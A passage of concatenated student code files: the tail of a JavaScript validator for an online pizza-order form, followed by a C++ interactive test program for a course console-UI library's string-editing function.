(document.onlineOrder.surname.value.charCodeAt(i) >= 97 && document.onlineOrder.surname.value.charCodeAt(i) <= 122)){ alphaCntr++; } else if(document.onlineOrder.surname.value.charAt(i) != "'" && document.onlineOrder.surname.value.charAt(i) != "-"){ nonAlphaCntr = 1; } } // if there are less than 4 alphabetic characters if(alphaCntr < 4 || nonAlphaCntr == 1){ message = message + "- Name Should Include Over 4 Only Alphabetic Characters Other Than Hyphen and Apostrophe" + '<br />'; surnameError = 1; } } // if apostrophe is included, it should be between at least 1 alphabetic character before and after if(surnameError == 0 && document.onlineOrder.surname.value.charAt(0) == "'"){ message = message + "- Before And After Apostrophe Should Be At Least One Alphabetic Character" + '<br />'; surnameError = 1; } if(surnameError == 0){ for(var i = 0; i < len; i++){ if(document.onlineOrder.surname.value.charAt(i) == "'"){ if(i == (len - 1) || (document.onlineOrder.surname.value.charCodeAt(i + 1) < 65 || document.onlineOrder.surname.value.charCodeAt(i - 1) > 90 && document.onlineOrder.surname.value.charCodeAt(i - 1) < 97 || document.onlineOrder.surname.value.charCodeAt(i - 1) > 122) || (document.onlineOrder.surname.value.charCodeAt(i + 1) < 65 || document.onlineOrder.surname.value.charCodeAt(i + 1) > 90 && document.onlineOrder.surname.value.charCodeAt(i + 1) < 97 || document.onlineOrder.surname.value.charCodeAt(i + 1) > 122)){ message = message + "- Before And After Apostrophe Should Be At Least One Alphabetic Character" + '<br />'; surnameError = 1; } } } } // if hyphen is included, it should be between at least 1 alphabetic character before and after if(surnameError == 0 && document.onlineOrder.surname.value.charAt(0) == "-"){ message = message + "- Before And After Apostrophe Should Be At Least One Alphabetic Character" + '<br />'; surnameError = 1; } if(surnameError == 0){ for(var i = 0; i < len; i++){ if(document.onlineOrder.surname.value.charAt(i) == "-"){ if(i == (len - 1) || (document.onlineOrder.surname.value.charCodeAt(i + 1) < 65 || document.onlineOrder.surname.value.charCodeAt(i - 1) > 90 && document.onlineOrder.surname.value.charCodeAt(i - 1) < 97 || document.onlineOrder.surname.value.charCodeAt(i - 1) > 122) || (document.onlineOrder.surname.value.charCodeAt(i + 1) < 65 || document.onlineOrder.surname.value.charCodeAt(i + 1) > 90 && document.onlineOrder.surname.value.charCodeAt(i + 1) < 97 || document.onlineOrder.surname.value.charCodeAt(i + 1) > 122)) { message = message + "- Before And After Hyphen Should Be At Least One Alphabetic Character" + '<br />'; surnameError = 1; } } } } // client clientError = 0; len = document.onlineOrder.client.value.length; // length of the field // if the sum of position 4-7 and 9-12 var sum1 = document.onlineOrder.client.value.charAt(3) * 1 + document.onlineOrder.client.value.charAt(4) * 1 + document.onlineOrder.client.value.charAt(5) * 1 + document.onlineOrder.client.value.charAt(6)* 1; var sum2 = document.onlineOrder.client.value.charAt(8) * 1 + document.onlineOrder.client.value.charAt(9) * 1 + document.onlineOrder.client.value.charAt(10) * 1 + document.onlineOrder.client.value.charAt(11)* 1; // if not present if(len == 0){ message = message + "- Please Enter Your Account Number" + '<br />'; clientError = 1; } // if present // if lengh is less than 12 characters if(clientError == 0 && len < 12){ message = message + "- Your Account Number Should Be 12 Characters" + '<br />'; clientError = 1; } // if position 1-3 is '416' or '647', or '905' if(clientError == 0 && document.onlineOrder.client.value.substr(0,3) != "416" && document.onlineOrder.client.value.substr(0,3) != "647" && document.onlineOrder.client.value.substr(0,3) != "905"){ message = message + "- Your Account Number Should Start With '416' or '647', or '905'" + '<br />'; clientError = 1; } // if position 8 is a hypen if(clientError == 0 && document.onlineOrder.client.value.substr(7,1) != "-"){ message = message + "- Position 8 of Your Account Number Should Be '-'" + '<br />'; clientError = 1; } // if the difference between position 4 and 10 is equal to the value of position 3 if(clientError == 0 && ((((document.onlineOrder.client.value.charAt(9) - document.onlineOrder.client.value.charAt(3)) * 1) != document.onlineOrder.client.value.charAt(2)) && (((document.onlineOrder.client.value.charAt(3) - document.onlineOrder.client.value.charAt(9)) * 1) != document.onlineOrder.client.value.charAt(2)))){ message = message + "- The Difference Between Position 4 And 10 Of Your Account Number Should Be Equal To The Value Of Position 3" + '<br />'; clientError = 1; } // if the sum of position 4-7 is greeater than the sum of position 9-12 if(clientError == 0 && sum1 <= sum2){ message = message + "- The Sum Of Position 4-7 Of Your Account Number Is Greeater Than The Sum Of Position 9-12" + '<br />'; clientError = 1; } // if position 4-7 and 9-12 are numeric if(clientError == 0){ for(var i = 3; i < 11; i++){ if(i != 7 && document.onlineOrder.client.value.charCodeAt(i) < 48 || document.onlineOrder.client.value.charCodeAt(i) > 57){ message = message + "- Position 4 Through 7 And 9 Through 12 of Your Account Number Should Only Numeric" + '<br />'; clientError = 1; break; } } } // phone var phoneError = 0; len = document.onlineOrder.phone.value.length; // length of the field // if not present if(len == 0){ message = message + "- Please Enter Your Phone Number" + '<br />'; phoneError = 1; } // if present // if lengh is less than 12 characters if(phoneError == 0 && len < 12){ message = message + "- Your Phone Number Should Be 12 Digits" + '<br />'; phoneError = 1; } // if position 4 and 8 is a hypen if(phoneError == 0 && document.onlineOrder.phone.value.substr(3,1) != "-" || document.onlineOrder.phone.value.substr(7,1) != "-"){ message = message + "- Position 4 And 8 Of Your Phone Number Should Be '-'" + '<br />'; phoneError = 1; } // if position 1-3 is '416' or '647', or '905' if(phoneError == 0 && document.onlineOrder.phone.value.substr(0,3) != "416" && document.onlineOrder.phone.value.substr(0,3) != "647" && document.onlineOrder.phone.value.substr(0,3) != "905"){ message = message + "- Your Phone Number Should Start With '416' or '647', or '905'" + '<br />'; phoneError = 1; } // if position 5-7 and 9-12 are numeric if(phoneError == 0){ for(var i = 4; i < 11; i++){ if(i != 7 && document.onlineOrder.phone.value.charCodeAt(i) < 48 || document.onlineOrder.phone.value.charCodeAt(i) > 57){ message = message + "- Position 4 Through 7 And 9 Through 12 of Your Phone Number Should Only Numeric" + '<br />'; phoneError = 1; break; } } } // if first 3 digits is equal first 3 digits of client if(phoneError == 0 && document.onlineOrder.phone.value.substr(0,3) != document.onlineOrder.client.value.substr(0,3)) { message = message + "- The First 3 Digits Of Your Phone Number Should Be Equal To The First 3 Digits of Your Account Number'" + '<br />'; phoneError = 1; } // if the last 4 digits are all zeros if(phoneError == 0 && eval(document.onlineOrder.phone.value.charAt(8)) + eval(document.onlineOrder.phone.value.charAt(9)) + eval(document.onlineOrder.phone.value.charAt(10)) + eval(document.onlineOrder.phone.value.charAt(11)) == 0){ message = message + "- The Last 4 Digits Of Your Phone Number Cannot Be All Zero" + '<br />'; phoneError = 1; } if(phoneError == 0){ var exchange = 1; // The exchange part nnn-nnn-nnnn in the phone number must be a multiple of three starting from 203 and ending with 419 inclusive. if((eval(document.onlineOrder.phone.value.substr(4,3)) < 203 || eval(document.onlineOrder.phone.value.substr(4,3))) > 419){ exchange = 1; } else{ for(var i = 203; i <= 419; i+=3){ if(exchange == 1 && eval(document.onlineOrder.phone.value.substr(4,3)) == i){ exchange = 0; } } } if(exchange == 1){ message = message + "- The Exchange Part Of Your Phone Number Should Be A Multiple Of Three Starting From 203 To 419" + '<br />'; phoneError = 1; } } // birthday var bdayError = 0; var currentDate = new Date(); var currentYear = currentDate.getYear(); if(currentYear < 2000){ currentYear += 1900; } var monthList = ["JAN", "FEB", "MAR", "APR", "MAY", "JUN", "JUL", "AUG", "SEP", "OCT", "NOV", "DEC", "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec"]; len = document.onlineOrder.dob.value.length; // length of the field // if not present if(len == 0){ message = message + "- Please Enter Your Birth Of Date" + '<br />'; bdayError = 1; } // if present // if lengh is less than 7 characters if(bdayError == 0 && len < 7){ message = message + "- Your Birth Of Date Should Be 7 Digits" + '<br />'; bdayError = 1; } // if position 4-7numeric if(bdayError == 0){ for(var i = 3; i < 7; i++){ if(document.onlineOrder.dob.value.charCodeAt(i) < 48 || document.onlineOrder.dob.value.charCodeAt(i) > 57){ message = message + "- The Last 4 Digits Of Your Birth Of Date(Year) Should Only Numeric" + '<br />'; bdayError = 1; break; } } } // if the month matches one of the value in monthList if(bdayError == 0){ var monthFlg = 0; for(var i = 0; i < 24; i++){ if(document.onlineOrder.dob.value.substr(0,3) == monthList[i]){ monthFlg = 1; break; } } if(monthFlg == 0){ message = message + "- The First 3 Characters Of Your Birth Of Date(Month) Should Be The First 3 Chracter Of Your Birth Month, " + "And They Should Be All In Upper Case Or All In Lower Case" + '<br />'; bdayError = 1; } } // if the year is at least 18 years less than the current year if(bdayError == 0 && (currentYear - document.onlineOrder.dob.value.substr(3,4)) < 18){ message = message + "- The Birth Of Year Should Be At Least 18 Years Less Than The Current Year" + '<br />'; bdayError = 1; } // pizzasize // if one of the options are selected var sizeElement = document.getElementById("pizzaSize"); if(sizeElement.selectedIndex == -1 || sizeElement.selectedIndex == 0){ message = message + "- Please Select Pizza Size" + '<br />'; } // pizza crust var crustElement = document.getElementById("pizzaCrust"); if(crustElement.selectedIndex == -1){ message = message + "- Please Select Pizza Crust" + '<br />'; } // cheese var cheeseChecked = 0; for(var i = 0; i < document.onlineOrder.cheese.length; i++){ if(document.onlineOrder.cheese[i].checked){ cheeseChecked = 1; break; } } if(cheeseChecked == 0){ message = message + "- Please Select Cheese" + '<br />'; } // sauce var sauceChecked = 0; for(var i = 0; i < document.onlineOrder.sauce.length; i++){ if(document.onlineOrder.sauce[i].checked){ sauceChecked = 1; break; } } if(sauceChecked == 0){ message = message + "- Please Select Sauce" + '<br />'; } // submit input data if(message == ""){ // change the 1st character of surname uppercase and less characters lowercases document.onlineOrder.surname.value = document.onlineOrder.surname.value.substring(0, 1).toUpperCase() + document.onlineOrder.surname.value.substring(1).toLowerCase(); // change the initial value in the hidden field hJsActive from N to Y document.onlineOrder.hJsActive.value = "Y"; // call the calculatePizzaPrice function to recalculate the price of the pizza calculatePizzaPrice(); // execute to submit return true; } else{ // display errors divElement.innerHTML = message; // cancel to submit return false; } } <file_sep>/* BConsole Input Output Library tester program cui_text.cpp <NAME> Jun 12, 2013 Version 0.95 This program may have bugs, if you find one please report it at This tester program is to be compiled with bconsole.h and bconsole.c to test your cui functions. Start testing your functions and correct its problems. you can comment define statements below to select individual tests but: */ /* Comment any of the following to do partial testing */ #define DO_ALL /* comment this to be able to do partial testing, if this is not commented, all tests will happen no matter what you comment below*/ //#define DO_01 //#define DO_02 //#define DO_03 //#define DO_04 comment this to jump over all 09 tests //#define DO_0401 //#define DO_0402 //#define DO_0403 //#define DO_0404 //#define DO_0405 //#define DO_0406 //#define DO_0407 //#define DO_0408 //#define DO_0409 //#define DO_0410 //#define DO_0411 //#define DO_0412 //#define DO_0413 //#define DO_0414 //#define DO_0415 //#define DO_0416 //#define DO_0417 //#define DO_0418 //#define DO_0419 //#define DO_0420 //#define DO_0421 //#define DO_0422 //#define DO_0423 //#define DO_0424 #define DO_5 #define _CRT_SECURE_NO_WARNINGS 1 #include <cstdarg> #include <cstdio> #include "../console.h" using namespace std; using namespace cui; #define _IOL_PROGRAM_TITLE "OOP344 20132 CUI tester" #define RELEASE_VERSION "R0.95" /* replace the following information with your own: */ #define TEAM_NAME "CUI testing program, Team H!" /* replace the above information with your own: */ #define WHITESPACE " \t\n\r" #define PrnBox(r, c, w, h) PrintHollowBox(r, c, w,h, '+', '-', '|'); void PrnMessages(int row, int col, const char *name); const char *keycode(int ch); const char *keyname(int ch); void PrintKeyInfo(int row, int col, int key); void bio_printf(int row, int col, int len, char *format, ...); void PrintHollowBox(int row, int col, int width, int height, char corner, char horizontal, char vertical); void PrintLine(int row, int col, int length, int ch, int endings); int isWhiteSpace(char ch); int StrLen(const char *str); int getLineLength(const char *src, int maxLen); void PrnTextBox(int row, int col, int width, int height, const char *text); int CheckIoEditMinMax(int curmin, int curmax, int curposIs, int insertShouldBe, int insertIs, int offmin, int offmax, int offsetIs); int CheckIoEditVals(int curposShouldBe, int curposIs, int insertShouldBe, int insertIs, int offsetShouldBe, int offsetIs); int Yes(); void resetStr(char* str, int len); char *MyStrCpy(char* des, const char* src); int runtest(int n); void cls(); int welcome(); int test1(); int test2(); int test3(); int test4(); int test5(); int test6(); int test7(); int test8(); int test4(); int test5(); int tn = 0; /* test number */ int main() { int r; int c; int num = 0; int ok = 1; int done = 0; r = console.getRows(); c = console.getCols(); do { if (runtest(-1) && (r < 24 || c < 80)) { console.setPos(1, 1); console << "The row and column of the terminal"; console.setPos(2, 1); console << "must be minimum of 24 by 80."; console.setPos(3, 1); console << "press any key to quit"; console.pause(); } else if (runtest(-1) && (r > 30 || c > 100)) { console.setPos(1, 1); console << "The row and column of the terminal"; console.setPos(2, 1); console << "must be maximum of 30 by 100."; console.setPos(3, 1); console << "press any key to quit"; console.pause(); } else { #ifdef DO_ALL if (runtest(0)) { ok = welcome(); } #endif #if defined(DO_ALL) || defined(DO_01) if (ok && runtest(1)) { num++; ok = test1(); } #endif #if defined(DO_ALL) || defined(DO_02) if (ok && runtest(2)) { num++; ok = test2(); } #endif #if defined(DO_ALL) || defined(DO_03) if (ok && runtest(3)) { num++; ok = test3(); } #endif #if defined(DO_ALL) || defined(DO_04) if (ok) { ok = test4(); num++; } #endif #if defined(DO_ALL) || defined(DO_5) if (ok && runtest(29)) { ok = test5(); num++; } #endif if (ok) { num++; } } cls(); console.setPos(10, 5); if (num == 6) { console << "Well done!"; console.setPos(11, 5); console << "You passed all the tests, wait for the final tester to submit assignment"; done = 1; } else { console << "Test terminated prematurely, run the last test again? (Y/N)"; ok = 1; tn--; num--; if (!Yes()) { console.setPos(11, 5); console << "Keep working on your assignment until it meets all the requirements."; done = 1; } } } while (!done); console.pause(); return 0; } int test5() { char str[81]; int curpos = 0; bool insert = true; int offset = 0; int key = 0; bool isTextEditor = false; bool readonly = false; resetStr(str, 25); do { if (key == 't' || key == 'T') { resetStr(str, 25); curpos = 0; insert = 1; offset = 0; } cls(); PrnTextBox(1, 5, 70, 8, "Test 10: console.stredit() General Test, Test console.stredit anyway you can and make sure it does not crash. " "Press F5 to toggle InTextEditor, press F6 to toggle ReadOnly. " ); PrnBox(10, 29, 22, 3); bio_printf(9, 28, -1, "TextEdtor: %d, ReadOnly: %d ", isTextEditor, readonly); key = console.stredit(str, 11, 30, 20, 60, &offset, &curpos, isTextEditor, readonly, insert); (key == F(5)) && (isTextEditor = !isTextEditor); (key == F(6)) && (readonly = !readonly); if (key != F(5) && key != F(6)) { bio_printf(13, 5, -1, "console.stredit() returned %s, %s", keyname(key), keycode(key)); bio_printf(14, 5, -1, "Curpos: %d, insert: %d, offset: %d, TextEdtor: %d, ReadOnly: %d ", curpos, insert, offset, isTextEditor, readonly); bio_printf(16, 5, -1, "Str value after stredit:"); bio_printf(17, 5, -1, " 1 2 3 4 5 6"); bio_printf(18, 5, -1, "123456789012345678901234567890123456789012345678901234567890"); bio_printf(19, 5, -1, "%s", str); bio_printf(21, 5, -1, "What to do next? (E)xit, (R)epeat, Repea(T) and Reset the data:"); key = console.getKey(); } } while (key != 'e' && key != 'E'); cls(); PrnTextBox(1, 5, 70, 8, "Did everything work correctly?"); return Yes(); } void strdspText(int from, int offset, char test[][61]) { int i; for (i = from; i < from + 10 && i < 20; i++) { if (from + offset >= StrLen(test[i])) { console.strdsp("", 10 + i - from, 10, 20); } else { console.strdsp(&test[i][from] + offset , 10 + i - from, 10, 20); } } for (; i < from + 10; i++) { console.strdsp("", 10 + i - from, 10, 20); } } void resetStr(char* str, int len) { int i = 0; while (str[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwzyz Garbage after data"[i]) { i++; } str[len] = 0; } int CheckIoEditVals(int curposShouldBe, int curposIs, int insertShouldBe, int insertIs, int offsetShouldBe, int offsetIs) { int i = 0; int ok = 1; if (curposShouldBe != curposIs) { ok = 0; bio_printf(16, 5, -1, " curpos is %d, but should be %d", curposIs, curposShouldBe ); i++; } if (insertShouldBe != insertIs) { ok = 0; bio_printf(16 + i++ , 5, -1, " insert is %d, but should be %d", insertIs , insertShouldBe ); } if (offsetShouldBe != offsetIs) { ok = 0; bio_printf(16 + i , 5, -1, " offset is %d, but should be %d", offsetIs, offsetShouldBe ); } if (!ok) { bio_printf(15, 5, -1, "- console.stredit() was supposed to have the following values but it doesn't:"); } return ok; } int CheckIoEditMinMax(int curmin, int curmax, int curposIs, int insertShouldBe, int insertIs, int offmin, int offmax, int offsetIs) { int i = 0; int ok = 1; if (curmin > curposIs || curposIs > curmax) { ok = 0; if (curmin == curmax) { bio_printf(16, 5, -1, " curpos is %d, but should be %d", curposIs, curmin); } else { bio_printf(16, 5, -1, " curpos is %d, but should be betwee %d and %d", curposIs, curmin, curmax ); } i++; } if (insertShouldBe != insertIs) { ok = 0; bio_printf(16 + i++ , 5, -1, " insert is %d, but should be %d", insertIs , insertShouldBe ); } if (offmin > offsetIs || offsetIs > offmax) { ok = 0; if (offmin == offmax) { bio_printf(16 + i , 5, -1, " offset is %d, but should be %d", offsetIs, offmin); } else { bio_printf(16 + i , 5, -1, " offset is %d, but should be between %d and %d", offsetIs, offmin, offmax ); } } if (!ok) { bio_printf(15, 5, -1, "- console.stredit() was supposed to have the following values but it doesn't:"); } return ok; } int CheckReturnedKey(int KeyShouldBe, int KeyIs) { int ok = 1; if (KeyShouldBe != KeyIs) { bio_printf(13, 5, -1, "- console.stredit() was supposed to return %s, %s", keyname(KeyShouldBe), keycode(KeyShouldBe)); bio_printf(14, 5, -1, " but instead it returned: %s, %s", keyname(KeyIs), keycode(KeyIs)); ok = 0; } return ok; } int CheckStrValue(const char* strShoulBe, const char* strIs) { int diff = 0; int i = 0; while (!diff && strShoulBe[i]) { diff = strShoulBe[i] - strIs[i]; i++; } if (!diff) { diff = strShoulBe[i] - strIs[i]; } if (diff) { bio_printf(19, 5, -1, "- console.stredit() does not have correct value for its data:"); bio_printf(20, 0, 75, "Shoule be:%s", strShoulBe); bio_printf(21, 0, 75, " Value is:%s", strIs); } return !diff; } void pause(int ok) { bio_printf(22, 5, -1, " %s, hit any key to continue", ok ? "PASSED" : "FAILED"); console.pause(); } int test4() { char str[81]; int curpos = 40; bool insert = true; int offset = 0; int key; int ok = 1; resetStr(str, 25); cls(); #if defined(DO_ALL) || defined(DO_0401) if (runtest(4)) { cls(); PrnTextBox(1, 5, 70, 8, "Test 4.1: console.stredit() initial corrections, Curpos: The curpos is set to 40 that is invalid and it should be corrected to 19. " "HIT ENTER ONLY to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 60, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(19, curpos, 1, insert, 0, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXY", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0402) if (ok && runtest(5)) { resetStr(str, 5); offset = 10; curpos = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.2: console.stredit() initial corrections, Offset: The offset is set to 10 that is invalid and it should be corrected to 5. " "HIT ENTER ONLY to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 60, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(0, curpos, 1, insert, 5, offset) && ok; ok = CheckStrValue("ABCDE", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0403) if (ok && runtest(6)) { resetStr(str, 5); offset = 0; curpos = 10; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.3: console.stredit() initial corrections, Curpos: The curpos is set to 10 that is invalid and it should be corrected to 5. " "HIT ENTER ONLY to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 60, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(5, curpos, 1, insert, 0, offset) && ok; ok = CheckStrValue("ABCDE", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0404) if (ok && runtest(7)) { resetStr(str, 5); offset = 0; curpos = 0; insert = 1; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.4: console.stredit() toggling insert: The insert is set to 1, hit insert key once and then hit ENTER only to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 60, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(0, curpos, 0, insert, 0, offset) && ok; ok = CheckStrValue("ABCDE", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0405) if (ok && runtest(8)) { resetStr(str, 5); offset = 0; curpos = 4; insert = 1; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.5: console.stredit() deleting chars : Hit Del key twice and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 60, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(4, curpos, 1, insert, 0, offset) && ok; ok = CheckStrValue("ABCD", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0406) if (ok && runtest(9)) { resetStr(str, 20); offset = 0; curpos = 10; insert = 1; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.6: console.stredit() inserting chars in insert mode : Hit 'a', 'b' and 'c' and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 22, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(12, curpos, 1, insert, 0, offset) && ok; ok = CheckStrValue("ABCDEFGHIJabKLMNOPQRST", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0407) if (ok && runtest(10)) { resetStr(str, 20); offset = 0; curpos = 10; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.7: console.stredit() inserting chars in overstrike mode : Hit 'a', 'b' and 'c' and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 20, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(13, curpos, 0, insert, 0, offset) && ok; ok = CheckStrValue("ABCDEFGHIJabcNOPQRST", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0408) if (ok && runtest(11)) { resetStr(str, 25); offset = 5; curpos = 10; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.8: console.stredit() Home key : Hit Home key and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(0, curpos, 0, insert, 0, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXY", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0409) if (ok && runtest(12)) { resetStr(str, 25); offset = 10; curpos = 10; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.9: console.stredit() End key : Hit END and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(15, curpos, 0, insert, 10, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXY", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0410) if (ok && runtest(13)) { resetStr(str, 25); offset = 0; curpos = 10; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.10: console.stredit() End key : Hit END and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(19, curpos, 0, insert, 6, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXY", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0411) if (ok && runtest(14)) { resetStr(str, 45); offset = 20; curpos = 3; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.11: console.stredit() Scrolling right : Hit left Arrow 4 times and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditMinMax(0, 10, curpos, 0, insert, 9, 19, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0412) if (ok && runtest(15)) { resetStr(str, 45); offset = 10; curpos = 3; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.12: console.stredit() Scrolling right : Hit left Arrow 4 times and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditMinMax(0, 10, curpos, 0, insert, 0, 9, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0413) if (ok && runtest(16)) { resetStr(str, 45); offset = 10; curpos = 16; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.13: console.stredit() Scrolling left : Hit right Arrow 4 times and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditMinMax(10, 19, curpos, 0, insert, 11, 21, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0414) if (ok && runtest(17)) { resetStr(str, 30); offset = 10; curpos = 16; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.14: console.stredit() Scrolling left : Hit right Arrow 6 times and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditMinMax(30 - offset, 30 - offset, curpos, 0, insert, 11, 21, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXYZabcd", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0415) if (ok && runtest(18)) { resetStr(str, 45); offset = 10; curpos = 9; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.15: console.stredit() Backspace : Hit backspace and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditVals(8, curpos, 0, insert, 10, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRTUVWXYZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0416) if (ok && runtest(19)) { resetStr(str, 45); offset = 10; curpos = 3; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.16: console.stredit() Backspace : Hit Backspace 4 times and then hit ENTER to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ENTER, key); ok = CheckIoEditMinMax(0, 10, curpos, 0, insert, 0, 9, offset) && ok; ok = CheckStrValue("ABCDEFGHINOPQRSTUVWXYZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_04) if (ok && runtest(20)) { cls(); PrnTextBox(1, 5, 70, 8, "Test 4 (continued), console.stredit() InTextEditor set to true. Press any key to continue:"); console.pause(); } #endif #if defined(DO_ALL) || defined(DO_0417) if (ok && runtest(21)) { resetStr(str, 5); offset = 10; curpos = 0; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.17: console.stredit() initial corrections, Offset: The offset is set to 10 that is invalid and it should be corrected to 5. " "The function should terminate returning 0."); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 60, &offset, &curpos, 1, 0, insert); ok = CheckReturnedKey(0, key); ok = CheckIoEditVals(0, curpos, 0, insert, 5, offset) && ok; ok = CheckStrValue("ABCDE", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0418) if (ok && runtest(22)) { resetStr(str, 25); offset = 5; curpos = 10; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.18: console.stredit() Home key : Hit Home key to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 1, 0, insert); ok = CheckReturnedKey(0, key); ok = CheckIoEditVals(0, curpos, 0, insert, 0, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXY", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0419) if (ok && runtest(23)) { resetStr(str, 25); offset = 0; curpos = 10; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.19: console.stredit() End key : Hit END to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 1 , 0, insert); ok = CheckReturnedKey(0, key); ok = CheckIoEditVals(19, curpos, 0, insert, 6, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXY", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0420) if (ok && runtest(24)) { resetStr(str, 45); offset = 20; curpos = 3; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.20: console.stredit() Scrolling right : Hit left Arrow 4 times (but stop if fucntion exits) to test!"); PrnBox(10, 29, 